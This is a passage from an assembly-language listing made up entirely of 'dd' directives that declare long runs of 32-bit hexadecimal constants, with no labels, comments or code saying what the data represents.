		dd 0B98149h, 6D701BECh,	61647EF7h, 1FBCC300h, 970648B6h
		dd 943E00FFh, 0D0F07253h, 0A0C542Ah, 0A0732C6Ch, 8E2E126Ah
		dd 115C4F5Eh, 0ECED6640h, 0F001A88h, 0C5AEE11Eh, 50192915h
		dd 1F7E8BDDh, 40A4BBFEh, 58F78701h, 76281245h, 8F00FC6Ch
		dd 0E0846195h, 1EDC809Ah, 8082BDA2h, 0C3CED2F6h, 3005444h
		dd 0B3FDB011h, 11D21DCh, 9F7E2C01h, 0C8289E92h,	0D9790ECFh
		dd 0DE94F700h, 0B8FAC833h, 0A64050FEh, 0A7891351h, 0D4880057h
		dd 0BBE34159h, 49957900h, 4C2FC267h, 0D23B0E86h, 12FBB8h
		dd 55C717D8h, 400DE8Dh,	0F83B78Eh, 0EA35CAh, 5D08ABA0h
		dd 846760B1h, 0E4F1C100h, 7645EF9h, 0A30AC07Dh,	0A0917B3Ch
		dd 6CC7A400h, 43E7BD6Eh, 0E0DB0159h, 79B33A26h,	4000E346h
		dd 858EF6D0h, 2C68304h,	4E64C80Dh, 0B8809698h, 0BE3D8DF2h
		dd 9900C37Bh, 30501A05h, 35B064Dh, 468AF041h, 11B01076h
		dd 0A4790EADh, 8308D63Eh, 5924DABAh, 3E98E896h,	0C0A007CFh
		dd 90B4E3E4h, 17944B4Dh, 62928E17h, 20129C0Fh, 1CCFA231h
		dd 20210056h, 544973C4h, 0BC0F3413h, 60EBA41Eh,	32191447h
		dd 5CD03C93h, 0EDB8BB00h, 0AF7959A7h, 0D27BA000h, 0B08AC905h
		dd 2586079Bh, 0D0981361h, 2FB54DCEh, 58EC3B25h,	2BDF123Ah
		dd 702849C7h, 716D3020h, 4D004A1Eh, 557C83E9h, 77A06E5h
		dd 0F420C09Bh, 47280C1h, 0F0B0B92Dh, 3090A767h,	34C0EB75h
		dd 7A2F707h, 0C39C91F5h, 61AECEADh, 245C6B80h, 6D0080EEh
		dd 0E3399D5h, 12900367h, 5F577C59h, 8F56C0FCh, 68D31482h
		dd 0A7B43100h, 0A732E90h, 5DB822h, 1D5ECDD6h, 20C46ECAh
		dd 67DFFC12h, 41D77400h, 4CD4F73Ah, 81007D0Bh, 7C258D8Ch
		dd 280095AFh, 6C6B52A0h, 31F9C36h, 33E28402h, 25D80E7Bh
		dd 9305DA17h, 2AA7D0F1h, 6755CC90h, 0C81800E4h,	0B08C2684h
		dd 68795958h, 0E0FB0500h, 3FD3E6FEh, 9B83048Dh,	0C0FA7A8Bh
		dd 94E1E944h, 18FBEF00h, 0D7B76077h, 33A3007Fh,	0DF68F243h
		dd 465CF3C1h, 6CCB0313h, 0AC28E622h, 8340480h, 9E440296h
		dd 6B38C90Ch, 1C818C84h, 89073F40h, 24C78BC3h, 80C8D282h
		dd 4E8EEE4Fh, 0E27230FAh, 0F822C403h, 51E0C3h, 0CFB34114h
		dd 2F53C86Eh, 1F6C1100h, 4C819C29h, 0B0BC1EF7h,	0A7448171h
		dd 24B389C9h, 0B7008F1Ch, 0C7C16131h, 0E6103F05h, 24EC8Dh
		dd 2D9B6B07h, 0D570C6F9h, 0BAABA413h, 8FBF00BFh, 58F8F2A6h
		dd 6E791C13h, 9BFF3400h, 25A72F59h, 0C00151Dh, 88D7536Ah
		dd 0B8270B18h, 0E27F70h, 8CD222A8h, 0CB7DBC68h,	0DE3D2AF0h
		dd 0B7809EFBh, 0FCED7180h, 0B33DC99h, 0C21211D3h, 0C41D880h
		dd 2042AE6h, 361FC457h,	0DB44A0h, 72DFEF34h, 0B82CDECh
		dd 44579701h, 0C85348CFh, 0C808CD9h, 59D234A4h,	93EC380Ch
		dd 0E84AAA00h, 2FFB6BFh, 0C7C00083h, 77AD47D1h,	0AE00EC29h
		dd 0E63ED35Fh, 0C517D2h, 64317E1Fh, 0D8A52D12h,	17D70548h
		dd 0C84F2E88h, 0C24380E5h, 1F70C0Fh, 6ED0679Bh,	0D43C1FA7h
		dd 0D6FAB714h, 3E1E2500h, 9A627105h, 31CEAF9h, 99D9F26Fh
		dd 44A90AAFh, 83F02093h, 1820BC00h, 7ECD6CACh, 684E0073h
		dd 0FA341C3h, 7A03327Bh, 88D39B4Dh, 3C1E13Fh, 995834h
		dd 141F94A9h, 8CF26884h, 0C1F14400h, 11D6BDE8h,	570C000Dh
		dd 0CDFCE202h, 3A037E1Eh, 37591516h, 181003B7h,	0AF21D109h
		dd 55AB57C0h, 0BC893E00h, 1844034h, 79B27BAAh, 95FD000Fh
		dd 0F0CCE0B7h, 36005E1Dh, 0E35272FCh, 246B5A04h, 2D94D7A5h
		dd 0A100BBF4h, 0AE9F56FDh, 0C26E3313h, 7AC83960h, 0C9000154h
		dd 3C05E699h, 1EC448F7h, 0C0D5379Ch, 14EDAC3h, 0B93F9615h
		dd 0E73F0327h, 0F88CE545h, 5AFAB3Bh, 0ADD943E8h, 0FBBC8874h
		dd 6EFE4Ch, 0BEEAF3D0h,	401593h, 453F5A8Ch, 8CAF863h, 0B8541A00h
		dd 0E2C3AA30h, 0E9F0E7h, 4CD6B4EAh, 0D3176E32h,	0F600AB90h
		dd 15B72DDFh, 0E8591436h, 73E800C4h, 0BAF172DEh, 1F01A8B5h
		dd 836761CFh, 4C30F9EDh, 47FC07BDh, 575A3CF0h, 8A0DB096h
		dd 313B228Bh, 8DAE1EEFh, 0FD0044A6h, 5BE6A57Ah,	0A3E009Fh
		dd 13968308h, 20C35DEAh, 0E0BD5A19h, 0B74B611h,	0BE7F26FFh
		dd 3ED8600h, 0AB79670Fh, 687F2BE4h, 73A0A61Fh, 0AEEF8540h
		dd 0F944F9Fh, 776C658Ah, 47B131A0h, 0DC00958Bh,	7302E350h
		dd 57E6C7h, 97E2A7A3h, 936A879Eh, 43524F00h, 4630B1F5h
		dd 0F86EEEF1h, 45BD07A6h, 209759B7h, 26FA81C5h,	3058B12Ch
		dd 0A08D938Bh, 0F2B5260h, 19F4033Eh, 0D59D31D3h, 0B7D43E8h
		dd 94884D00h, 0B48E9991h, 9C700F1h, 55BCB236h, 1898A6A0h
		dd 3113AD00h, 1808E0FAh, 0C89F00E4h, 0F075A74Ah, 6D010B2Eh
		dd 590FBE58h, 0D1EC2C55h, 0E85F0901h, 4CA0A080h, 37C90693h
		dd 7C0ECE0Bh, 586000ECh, 3D09335Ch, 14BE8713h, 3E8AEF01h
		dd 8E9356AFh, 3D723278h, 6DB42D00h, 1276B152h, 0F023F5h
		dd 2F7A04E8h, 0B800FC13h, 40365F9Fh, 9FEADDFFh,	0DA007470h
		dd 0ADD17DE7h, 52BF0h, 5783B913h, 58515EF1h, 0F6F8524Bh
		dd 0C96CE401h, 0DCA67810h, 8900FF42h, 86653FEFh, 16A107E7h
		dd 442F2B0Ch, 4F0F9Ch, 0BE951792h, 49990058h, 88542451h
		dd 0A80736D6h, 555C2E44h, 1674FB70h, 0A21E136Fh, 83FE00F2h
		dd 4D29C0B1h, 5200DEE0h, 7D185577h, 1F504228h, 817EB732h
		dd 0D1682046h
		dd 0C6F03049h, 762520h,	0AB65D481h, 129A334h, 1A82CE00h
		dd 46534F9Bh, 1BF90373h, 0E4D341FDh, 7540729Ah,	590082DEh
		dd 0B4C17D40h, 71D3608h, 9629E84Bh, 0AB03CFB3h,	4EF8D63Fh
		dd 44ECC95Bh, 0DE78D300h, 0D1A0DAF0h, 48EF00EEh, 287C34C1h
		dd 0B5004718h, 0ABD35095h, 716360h, 0FC8B06B3h,	0A707995Eh
		dd 0A4088900h, 0C37F7564h, 9AB8016Ah, 0A2F3567Ch, 8E92E0C6h
		dd 0A00FDB0h, 0E242A3E9h, 98946E5Fh, 385600ABh,	0CCE58F47h
		dd 8D007E19h, 0C03571AAh, 2CD5E2h, 0FFBDEF3Eh, 330A5091h
		dd 0E640CF00h, 0A49516BCh, 0B0D11CF9h, 83833C1Fh, 0AEB42061h
		dd 36AB3EA8h, 12CAA600h, 7E2304F9h, 0B0C03E99h,	8F9CDC80h
		dd 9328FA3Ch, 8075FF0h,	0AC70B755h, 0C245C01Fh,	1D14ABh
		dd 96D3CE4Dh, 4A6241DEh, 0D5773200h, 6545D181h,	140A00C8h
		dd 92729461h, 3F7FDC87h, 0FC8D6209h, 3936000Eh,	1D451Eh
		dd 8A511A97h, 508E6636h, 2300CCE2h, 0B9C4EB95h,	42F22Dh
		dd 59A871Eh, 664AB70Ch,	0DA3BBE1Fh, 93101400h, 0A65F54h
		dd 3822F5B5h, 7E2F876Ch, 0BAFC0B00h, 93409824h,	0EB789F63h
		dd 0A1123100h, 51060C82h, 1E728Ch, 0B50B9C9Bh, 0CD49F0C3h
		dd 0F274BF00h, 9A6A96F4h, 0BBE2001Ch, 0BD19EF26h, 7A00242Eh
		dd 0A0F25DE0h, 0EB118F4h, 0F0FDE7EDh, 0C808A0Fh, 11C2EB0Fh
		dd 879E9539h, 0E8103559h, 3D04280h, 1C96F8B9h, 0FED48C19h
		dd 0A1286480h, 0C5D724D5h, 53ED6500h, 84803839h, 0FB3000F0h
		dd 0A2A70C69h, 9D00E088h, 709AAD16h, 1D555012h,	4B7374h
		dd 0F4E2A38h, 4100A4B9h, 1088A1F2h, 2835A06Dh, 7E8C2175h
		dd 0A23B0027h, 0E60666Ah, 2A0F9B99h, 608ED5F9h,	0E80FEC1Dh
		dd 331B1FCAh, 1FC94274h, 386019BAh, 0CE002541h,	4CBCC273h
		dd 283F9Dh, 60D9AF15h, 8D358205h, 75A39B00h, 0E57FB00Bh
		dd 0D387007Eh, 131626AFh, 5D000550h, 41F90127h,	1AEC5A1h
		dd 0B4D8E003h, 506CA269h, 63ACA3D0h, 5E00E8FEh,	4516CC41h
		dd 1EE3D908h, 1879F77h,	0F522BE3Fh, 0D4C44069h,	9D008A8Ch
		dd 0D0FC2C13h, 1B4D17h,	8793325Fh, 756D1ABDh, 0CC20243Dh
		dd 0A204004Bh, 0C2FC8141h, 80100084h, 7A38D29h,	1300B66Ch
		dd 3583A797h, 78B5651h,	3AFDE141h, 0F3DD90A9h, 3900D6D1h
		dd 0E8EBAC9Bh, 1C14464Ah, 80E1B6CAh, 0EA505856h, 86002E61h
		dd 4613FD28h, 0E2276BFCh, 0C060E772h, 544700A3h, 0A8980791h
		dd 0C40063E9h, 0D6953C61h, 7A5ADFh, 5E447D7Eh, 0B5CD1E9Ch
		dd 0F1EF5D0Ah, 630F08E8h, 30232081h, 0F86574Ch,	0BBF82B8Ah
		dd 697326A0h, 84928225h, 4ED89C03h, 0B830E797h,	744CBF8Eh
		dd 4DFB1E2Fh, 7798700Bh, 38EA1BA7h, 868F9906h, 3088E63h
		dd 0A6019265h, 213AA90Eh, 3FEC98E7h, 18C4D038h,	8CE0347h
		dd 4E00739Ch, 0AD29DF8Dh, 15257EBh, 0D1894366h,	0CC08917Eh
		dd 0ABF05810h, 6800CAF6h, 57C936D9h, 0F6EB6F1Ah, 0CF7B740Ah
		dd 0A6EC7240h, 17016C70h, 611034DCh, 0C30E6E1h,	94E01E1Bh
		dd 333A8058h, 6BCD2E98h, 88B47430h, 1AAECE7Dh, 0A9A6E157h
		dd 87996011h, 0D5D06360h, 0CFE69741h, 336E1440h, 0A8180059h
		dd 584E880Dh, 0D67A219Fh, 0E6D8F000h, 5C375D9h,	535200A8h
		dd 0FC96D184h, 6D0740B6h, 2274DDF3h, 0A0A1D7A3h, 384477C4h
		dd 0A8002B78h, 0CF51AFDAh, 8200BDB0h, 0BCB83B21h, 3C84F260h
		dd 0B31CD5D9h, 618040FCh, 21B764EDh, 1500B27Fh,	0C8F7E0E8h
		dd 0DCCB6Bh, 0BDCA4296h, 0F0827BB3h, 23E9380Ch,	7B87C15Ch
		dd 0CE7C0718h, 0E58B488Ch, 0DAA8C374h, 9010210Fh, 3B809E84h
		dd 6FCFBDCBh, 32A10017h, 4896AD76h, 93F053DBh, 0BD7BCE0Fh
		dd 0A44E8538h, 81F9C12h, 1C6E4746h, 0F98C0010h,	9F92CD0Ch
		dd 0E71D0B4Bh, 53152A4Fh, 0D1A61EB4h, 71A11CC0h, 0FEBA0D39h
		dd 0FF72008Eh, 0BD5B6219h, 7C00CC4Eh, 0EF88351Fh, 1FC9E065h
		dd 374C61CBh, 4FBB11B1h, 182182C6h, 7953BAh, 7108C511h
		dd 0D8006091h, 0BAA0E0B9h, 492F0CF8h, 5008E872h, 3200BC92h
		dd 0F999E0E9h, 6071F8B8h, 36819F3h, 610739D0h, 859A624Fh
		dd 0A5A7E090h, 366A139Bh, 0A49E1576h, 7773F300h, 0DC70962Fh
		dd 5A27C303h, 1E5747B3h, 0C0A884C8h, 8EC2E3C9h,	922E6997h
		dd 0A9090306h, 4180F722h, 647EFD68h, 0A2E02000h, 6EBDD15Eh
		dd 342D2E85h, 0FD6F0159h, 0F0ED4286h, 8400AAB6h, 0F1E8CB9Eh
		dd 481FEC31h, 250017D5h, 468B4573h, 53CED74h, 8E480006h
		dd 0A04BD509h, 8F11C024h, 34C34419h, 39344890h,	0B8C68A2Dh
		dd 14C60021h, 98AE85Bh,	0E200CC3Ch, 3DD69968h, 7EA74F5Eh
		dd 860CA4Ah, 7146562Ch,	0EA1AF901h, 80BF26A5h, 9AF692C8h
		dd 625F52Ch, 8E3536D1h,	6F0030D8h, 0DACB2093h, 0EEC4AEFh
		dd 53562299h, 0F55CA480h, 3D00E2D5h, 31059032h,	7C3DB84h
		dd 0FCD886B3h, 540890A0h, 24E2158Ah, 61035D7Ah,	1602F90Eh
		dd 6BFAE02Bh, 0C37528h,	0EEAC6751h, 73A25F77h, 92CEDC00h
		dd 25FE534Ch, 710E007Bh, 79886336h, 730F56D9h, 800FF7FFh
		dd 843ABC74h, 0D2EA0398h, 0E9F16A7Dh, 86A934E0h, 3F616E00h
		dd 95FA16Fh, 0D3840B3Bh, 0B9806689h, 734D9EF8h,	916EF103h
		dd 103485C1h, 1DEE21h, 0F17403EAh, 517A26h, 0BB81B74Ah
		dd 0FE6D9A28h, 52F680C2h, 0C88F0FF8h, 0D138224Ch, 51C05AF8h
		dd 0AAE4F160h, 39E53CBFh, 712A7F00h, 102281D6h,	0C3748E03h
		dd 0F817B218h, 0D94D15h, 0B4B3AA1Dh, 96BD5F55h,	5C23Ch
		dd 8ABE1BFEh, 2CCF57h, 5C1D67EEh, 188E3A4Dh, 51C2C900h
		dd 41487DB5h, 0C46F582Ah, 5D4A6E07h, 0D1E0C09Ah, 0D5FC7804h
		dd 0D33DE570h, 776780E2h, 9CFC25D6h, 303BFEBAh,	18CE4B0Ah
		dd 0A400D2FFh, 0E4371FA5h, 57F28Ch, 520C834Dh, 165E811Dh
		dd 35EE9B00h, 0EC686314h, 7F1702E7h, 0B6994BE8h, 0A133CD41h
		dd 0F5C00410h, 0E57EE9h, 0A71CCE23h, 248A824h, 0E3B53203h
		dd 0C0829153h, 0D643B0h, 9B23F4E7h, 0BFB320E2h,	80B4040Fh
		dd 0D90D87E6h, 0F2050110h, 72EF0036h, 3C29852Ah, 0D528CFB3h
		dd 0F100C463h, 0A28BFBBBh, 52F30Fh, 1C0EF61Bh, 0A3948187h
		dd 141D2D00h, 82766A48h, 15C788Ch, 8BB14674h, 0F8BA63BFh
		dd 4A71D4D9h, 0E507DE78h, 906A68D1h, 0BDFA0A90h, 6CDA00FDh
		dd 21424161h, 0AF00C30Fh, 0B23127F7h, 7E8D604h,	54658978h
		dd 46C6D0CEh, 4100BB5Fh, 7E588CBCh, 0B86C28h, 15D0BA05h
		dd 0B5C7D435h, 1EB02A00h, 4B73D18Bh, 915B0778h,	0F0764E5Dh
		dd 0DAD518BFh, 93A4A301h, 0FA5A1D8Dh, 38678C8h,	7203E9FEh
		dd 11B865B9h, 2300E6F9h, 5BD4033h, 341CE89h, 0AB1A029h
		dd 8AD890D6h, 6D6063FEh, 4E7C8411h, 9B42002Dh, 0D31138F6h
		dd 0D4070907h, 0CD41525Ah, 0F88BA723h, 0F58B771h, 4C786463h
		dd 0FF9ACB00h, 0CC039CBCh, 7F189690h, 888E4BEh,	0BD8D5CAEh
		dd 0DE862300h, 0BB38ECE7h, 0AAE8D8E6h, 6BCA610Eh, 9E35208Eh
		dd 744EA1h, 0DFB151D3h,	0AEB4E762h, 4DD911Eh, 0A060FFC0h
		dd 1CB8802Ch, 0DEACC531h, 35000ADh, 55A4CF0Ch, 83FE3300h
		dd 9C3049B5h, 299100EAh, 0BE9F89CCh, 0FB60435Fh, 73A0F4F1h
		dd 0F9280EF8h, 0A3E06A0Dh, 5CD54B2Eh, 2A30DC90h, 31662809h
		dd 0F10760FDh, 0FBE7D198h, 3DC9700h, 8F4C0CB3h,	0C56C00CAh
		dd 77ACDB68h, 7100A09Ah, 853E395Ch, 9D15B2h, 7F54D0F0h
		dd 105DB99Ch, 1CFCDF3Eh
		dd 0D140EBAEh, 138E497Ah, 68691487h, 0D8009C89h, 0CF62C8C1h
		dd 0F0E398DBh, 0BAF8F24Eh, 0A2A96E01h, 0E4E31D53h, 0F3E87D0h
		dd 75EE6FD9h, 198B85A1h, 800DCD34h, 12F12AC0h, 0F79BE0Ah
		dd 58CF2FC1h, 0BDDE0280h, 0A30754D1h, 33A1F4C9h, 0D4A97F80h
		dd 0D3DF24C3h, 0CD1480D4h, 93F3C875h, 34803E00h, 0B860C60h
		dd 0C7D80092h, 73D5369Dh, 0E81E469Ah, 20F935Dh,	115A803Bh
		dd 0F984AFh, 865F1F83h,	5947FA1h, 0BA906B00h, 17FF4E6Ch
		dd 0AC2D122Bh, 9E0443B6h, 0B8010F1Fh, 88C2779Ah, 0BED4C9D2h
		dd 288B49B3h, 0BDD4B60Ah, 0C5590097h, 0B81C053Fh, 58CE6413h
		dd 0AB128E05h, 0FC880280h, 0BC99008Bh, 0B7181C68h, 0C0003D75h
		dd 0A954F085h, 0FFAB20h, 0F20444FAh, 13A62B8Eh,	0B3EDA41Eh
		dd 0ECBFF080h, 16FE32Eh, 0E61D90ABh, 0EC2A60DCh, 0F7004B04h
		dd 0A062E79Fh, 7E032DCBh, 0E56812DAh, 92A44381h, 303ADB2Ah
		dd 15A40985h, 6424008Fh, 69966D4h, 0E1165CD1h, 9A00105Dh
		dd 0F0C09148h, 6D9C7h, 0D024EC67h, 11BF9434h, 986A4500h
		dd 0F2D4D382h, 79C207E7h, 7006AC74h, 0E2C35DB6h, 4CD01800h
		dd 0FF0A6446h, 0EDDC004Bh, 2FDB1B45h, 8801DF2Ah, 0E831A56Ah
		dd 0C83004D0h, 1B1700BAh, 42E526C8h, 1D0079D1h,	1E4CB025h
		dd 1295992h, 6C3185BEh,	0E0EA1C75h, 0B8003D97h,	8B3F2190h
		dd 984F2Bh, 0E8D7A296h,	0DAC218CBh, 1FEEF60Eh, 24A3C0FFh
		dd 28480Bh, 0C61D861Bh,	0D43D34Eh, 817F4900h, 5606FB1Fh
		dd 0E2250004h, 7EF538EDh, 4C0EA12Ch, 0A0B16E65h, 27BF1274h
		dd 14B5002Bh, 0E58EBA5Ch, 0C2006F50h, 0A28871Dh, 0D376D9h
		dd 93F6A44Dh, 31A6826Ch, 38235D01h, 9674750Dh, 26A6824h
		dd 582E4A3Fh, 61E092C5h, 4D0C9156h, 11AFBC78h, 1BDC00CDh
		dd 8D52DDD3h, 9000A3DFh, 0B588A7C6h, 0B02406h, 0C2D9C5E2h
		dd 0AD630A9h, 92EDCE00h, 1A478263h, 4BE0205h, 686B14ABh
		dd 703E5CE0h, 64CAED00h, 652F44A8h, 0EC2800FBh,	0A4F23DA3h
		dd 0D6006F82h, 4014C198h, 45DF7Bh, 0D2246586h, 90027A57h
		dd 0E5B91101h, 5D44FEEDh, 48C395D4h, 2E007BABh,	78CBF1BEh
		dd 70791331h, 0D868DE00h, 439DADE5h, 0A09500A2h, 0C4D1E8B7h
		dd 2007E44h, 0FDCF264Fh, 0FC3E2Dh, 506CD267h, 297C0A7Fh
		dd 6F2E5C00h, 0A544D69Ah, 0E5DD0027h, 681CFFE1h, 0ABB0865Ah
		dd 3F354700h, 1EEDA574h, 51550F0Eh, 0D0A01938h,	72290861h
		dd 8406DA01h, 76F1FC8Eh, 449CE340h, 0AC7D3AC2h,	0F6FF790Fh
		dd 1D261Ch, 834CD736h, 0C41C0A45h, 0D50087F9h, 1904463Eh
		dd 1FC7280Fh, 7A5D00A3h, 533FA50h, 0DB00A66Eh, 0C13220Dh
		dd 17DC874h, 28330AFh, 0C4B6714Ah, 1C795E2Bh, 8FB2CF00h
		dd 1728F672h, 23333FBEh, 404BFB00h, 53107C94h, 0C400EB7Ah
		dd 1EF2E25h, 27E45E4h, 0BDB4E6CFh, 0C560B52Fh, 0F5033EC3h
		dd 79CE69AFh, 7F27900Bh, 0F21E3CCDh, 4E226D00h,	0CA882E3Fh
		dd 300BB7Fh, 0BF62E23Ah, 15D5440h, 0C135BE71h, 0D5DB7C10h
		dd 0D3B8C3F2h, 0D800403Ah, 1417A436h, 0D589F3h,	84D79764h
		dd 0F807CC6Fh, 0E56C3Ah, 0CF0A4027h, 17BE41h, 4DFEAAFAh
		dd 37BA4961h, 0DE7C3C00h, 0B58E9815h, 69DA0092h, 8BC2341h
		dd 2264A73h, 4D000153h,	19037E62h, 251F005Ch, 0DF700EA2h
		dd 4C0BA02Ch, 0F073A3EAh, 0B90F1E28h, 88E5C02Dh, 0C1FF4A86h
		dd 5FB6948h, 0FE631789h, 56970800h, 30A6186Ch, 0E128F32Bh
		dd 6C900325h, 5C1BF200h, 0CC23368Ah, 0ABD0020h,	0B6859978h
		dd 2500AF26h, 4C3EA0FCh, 696596h, 3C4376CCh, 46F41BB4h
		dd 0AEE094ABh, 2B09E6A2h, 865902AFh, 561476Bh, 19E10C99h
		dd 30803FEh, 0B3D89857h, 0A3024ABFh, 186F5688h,	0CC50A2A7h
		dd 8DB41002h, 5DB53607h, 0C85318Ah, 73891400h, 6F6542h
		dd 4C9CADD9h, 15E39822h, 30601A18h, 0D8962Ch, 43D15262h
		dd 94BD65ABh, 207B5E30h, 0E6F8A71Ah, 6D7E0F93h,	0DF60E185h
		dd 0DEDB63F5h, 62FE5100h, 67C998C8h, 0F2860077h, 0DDC56B0Eh
		dd 1000BF4Ah, 0A1FDA68Ah, 72E84117h, 7A780145h,	0E1F07090h
		dd 6F0CF8B5h, 31BF5F00h, 45C173DBh, 250D006Eh, 24B9A497h
		dd 0AB001AF2h, 0F84265F7h, 2803612Ah, 0E8AC6D8Eh, 24CA140Ch
		dd 7084C0h, 0F1ECDE0Ah,	12092EEh, 13CF0400h, 9033A9B9h
		dd 5C394827h, 8695BA00h, 613EDF67h, 0C08B9F00h,	4BB45E17h
		dd 50D30AD1h, 94DC6A3Fh, 1FC0414h, 0C0D5C528h, 20768907h
		dd 752676Ch, 0AAC481E8h, 0BC473D6Ah, 54B5D200h,	62ECFEB2h
		dd 0E9EB293Ch, 22160B22h, 1F22B446h, 216F243Eh,	4A12D947h
		dd 893A5F10h, 44500873h, 0BC441E3Eh, 80B67E35h,	9C8042D7h
		dd 818B04F2h, 85112CB4h, 9D7F8090h, 0A307614Bh,	8D14AC7Ah
		dd 395F1230h, 347D1FDBh, 1797C0FDh, 8449B9Eh, 1F00D499h
		dd 20C5CBB1h, 91A51E87h, 0D7B7C09Fh, 80B495A1h,	0E9638F00h
		dd 0C3B6BFCFh, 157B3A18h, 36BD6080h, 0A47A19FEh, 0E468E103h
		dd 70F8A096h, 92B40019h, 0B5BEF728h, 0DF00F3A2h, 948C1BC2h
		dd 3BCFA19h, 0F4443563h, 83AD1E79h, 13B84BBDh, 200F91DEh
		dd 0C0896B98h, 7726CD72h, 0DF1200D0h, 0C7D72D31h, 800AFDDh
		dd 7FB7F1F3h, 0E4E757h,	0D2843A79h, 0F428CE98h,	0D7732F00h
		dd 0A0931B13h, 86F00F5h, 617A11D1h, 5D004314h, 0B6234FE7h
		dd 3D54C71Eh, 5980678Fh, 0F42FDF18h, 754C02F1h,	0CB6401EEh
		dd 89EE6181h, 0F03AC72Fh, 6BC740FBh, 770D360h, 0C9F70Bh
		dd 32E0D503h, 0F19A7EFEh, 7A8FA3Eh, 979424C5h, 9C4D4060h
		dd 0BCE811h, 106795F2h,	0BAF65373h, 4CC348h, 404C2361h
		dd 0ECADDF76h, 4B7F0F56h, 0EF072D5Fh, 2451007h,	0F2F80550h
		dd 0A7331707h, 1627FEFDh, 0A4CFE7A0h, 88D0020h,	4E443C3Fh
		dd 3B00B422h, 39D7817Eh, 3EE9E46Dh, 0CA0BC20Ah,	8068EB0h
		dd 0BF1F2A19h, 6387A668h, 8FE07F94h, 0E4964BC6h, 33350086h
		dd 0B3295CC0h, 0D0055C9h, 0F1D37E6Ah, 1FB78A69h, 0C5A7C78Eh
		dd 0C0DC0CDFh, 0FBD95A2Ch, 0BFB91201h, 21966CB2h, 6AF360h
		dd 0C1F2FDEBh, 2B3E0893h, 495A901h, 5AB9670Eh, 18DD024h
		dd 0BED246D9h, 60D67041h, 4C7F1B54h, 3B10F700h,	8707137Fh
		dd 1ED57B9Fh, 0C80B51h,	656C84BFh, 9B01D3E9h, 0CC5E7C02h
		dd 1AEC9E34h, 91FD0017h, 57EFBF0Eh, 35769A7Dh, 75927801h
		dd 43253B1h, 3EF4F034h,	2282560Eh, 7FD083E8h, 0C4718BE0h
		dd 2F00EDFAh, 0C242D9EEh, 3C02D8FBh, 67806FBDh,	0EF257C46h
		dd 781DCCB0h, 0DF806B43h, 0D45CC750h, 5095769Ah, 381B823h
		dd 0AB7560BDh, 4BD009EDh, 240099BBh, 0EB842F8Bh, 7E6FC6A4h
		dd 30FB6EAFh, 0A18983C0h, 9F0FD42Ch, 1F992F6h, 0CEDF56EFh
		dd 0C3B0E047h, 4160C2h,	83077965h, 0D7E0547Ch, 639E9A00h
		dd 0A8F6A170h, 0C2CB001Fh, 0DED4FB97h, 8277BBCEh, 0D244AB00h
		dd 516EBF31h, 0CBB50099h, 3C342137h, 0CCB25B17h, 0A0851300h
		dd 0A7F169BDh, 4ECB0C1Dh, 0ED10969Ah, 9B7B8600h, 900183B0h
		dd 0D2C148E4h, 0C233CB00h, 7A6BEF6Ah, 142AF000h, 0BD66919Dh
		dd 0E72400D9h, 0EA78B932h, 0D4078BFBh, 0BBE8A073h, 0AB12E500h
		dd 0F9CF01A1h, 4580518Ch, 0E885C12Eh, 2A1D0A77h, 3B80F292h
		dd 97ED7D33h, 8044B0B3h, 179098h, 55219C5Ah, 4053AD5Fh
		dd 580F5DF2h, 6FF76416h, 607A072h, 231BEEh, 4B953FFh, 0C1212FD3h
		dd 19A5EA30h
		dd 39F903B4h, 58C89905h, 5F15F616h, 4F8B423Ch, 0C7409F6Eh
		dd 3A0330F0h, 412D224h,	5DFD888Ch, 289A2D59h, 2118F1DEh
		dd 185199D0h, 0A8D238E7h, 0C87E6B64h, 1BE1D600h, 0B19BA9AFh
		dd 0B2EE09DBh, 0EF806F33h, 0C8D549B9h, 6692A00h, 0C0D80A27h
		dd 4B16007Fh, 536F8AC9h, 6000FA63h, 35748086h, 0C9BD440h
		dd 31DD236Ch, 0F00F0CF2h, 80E4AEC5h, 7A5617E2h,	291B00C1h
		dd 6B0267AFh, 8C0339B1h, 9A89D38Dh, 0D598C8F8h,	748700F5h
		dd 79FCCABh, 58006EBCh,	0EA5EDC9Bh, 9F82136h, 96AA024h
		dd 95631000h, 7A008D96h, 5A6CF745h, 0CF269D82h,	84A70D10h
		dd 9253006Bh, 0F100D483h, 0A3F6B51Fh, 7AF8DE89h, 0D9A1005Bh
		dd 33DD74FFh, 9624AB4Ch, 0A8021043h, 48AB0FAh, 0A40BC04Eh
		dd 0C7384495h, 0AD8281D9h, 0BB391DC6h, 30704461h, 8F03044Bh
		dd 0D01A2E74h, 0AEDE3120h, 0F432E10Ah, 0A801C01Bh, 306E2E6Ch
		dd 2D008C28h, 0E45E3540h, 0E2002932h, 71212707h, 1F347C2Ch
		dd 0A87E3960h, 161E7BE4h, 40872368h, 0D69AF790h, 0C600FC16h
		dd 29B5B99Dh, 3A23EC0Ah, 1D809C4Ah, 625E7E0Bh, 3E038ACAh
		dd 0A99D4BB3h, 0C930007Ch, 0E8941D65h, 85005BA3h, 521C24FEh
		dd 0ECF007h, 7FB435D5h,	73B10AFCh, 18CE6D00h, 71FE8DDDh
		dd 5AA30072h, 4B824BAh,	0EA0CEC6Eh, 20B6C068h, 2EE888h
		dd 0C452A921h, 2BA532BFh, 0BD209F00h, 8FA70CF6h, 92200DBh
		dd 167206EAh, 0AD00B881h, 94DCD9F2h, 1CFE17h, 0C7B7CB9Ah
		dd 80935068h, 0BABB4100h, 9D07DE7h, 2B300099h, 0B94FFE67h
		dd 145D0FEBh, 503BB4h, 5D69BFE0h, 0F0B9FCEh, 6C9609BBh
		dd 21A89800h, 0D4E43AB9h, 0FF169400h, 0D5DA1142h, 434B0004h
		dd 460F1FCDh, 72020A63h, 95EE34C4h, 6D54E022h, 9CCE00A4h
		dd 6E2F2533h, 8078C7B9h, 9A158500h, 380C241Ah, 75C96BEh
		dd 0D063407Eh, 0D3E35DABh, 45A57000h, 6688E4CDh, 1A680005h
		dd 0F86CE5A1h, 0DE000AB2h, 9607F07Eh, 0CA4270h,	0FF70428h
		dd 0D465683Eh, 0E0FAD8E3h, 0C2729E12h, 2EF72C80h, 0F89467DDh
		dd 0E18D42C6h, 10CD2040h, 0D76C6900h, 62AA84DFh, 0A51E02ADh
		dd 0AF58D3Bh, 36D90040h, 0BD120D00h, 38B64C1Ch,	33850096h
		dd 941EA21Dh, 0B30CFAB9h, 5079DD78h, 0BEC70086h, 96A0F754h
		dd 0DC7AFE33h, 0C8A2ED00h, 0DB63C684h, 0E2EA00B6h, 71BC6B25h
		dd 4007FF1h, 0C543D6ABh, 0F0DBF6h, 81649FFDh, 0EDEC6528h
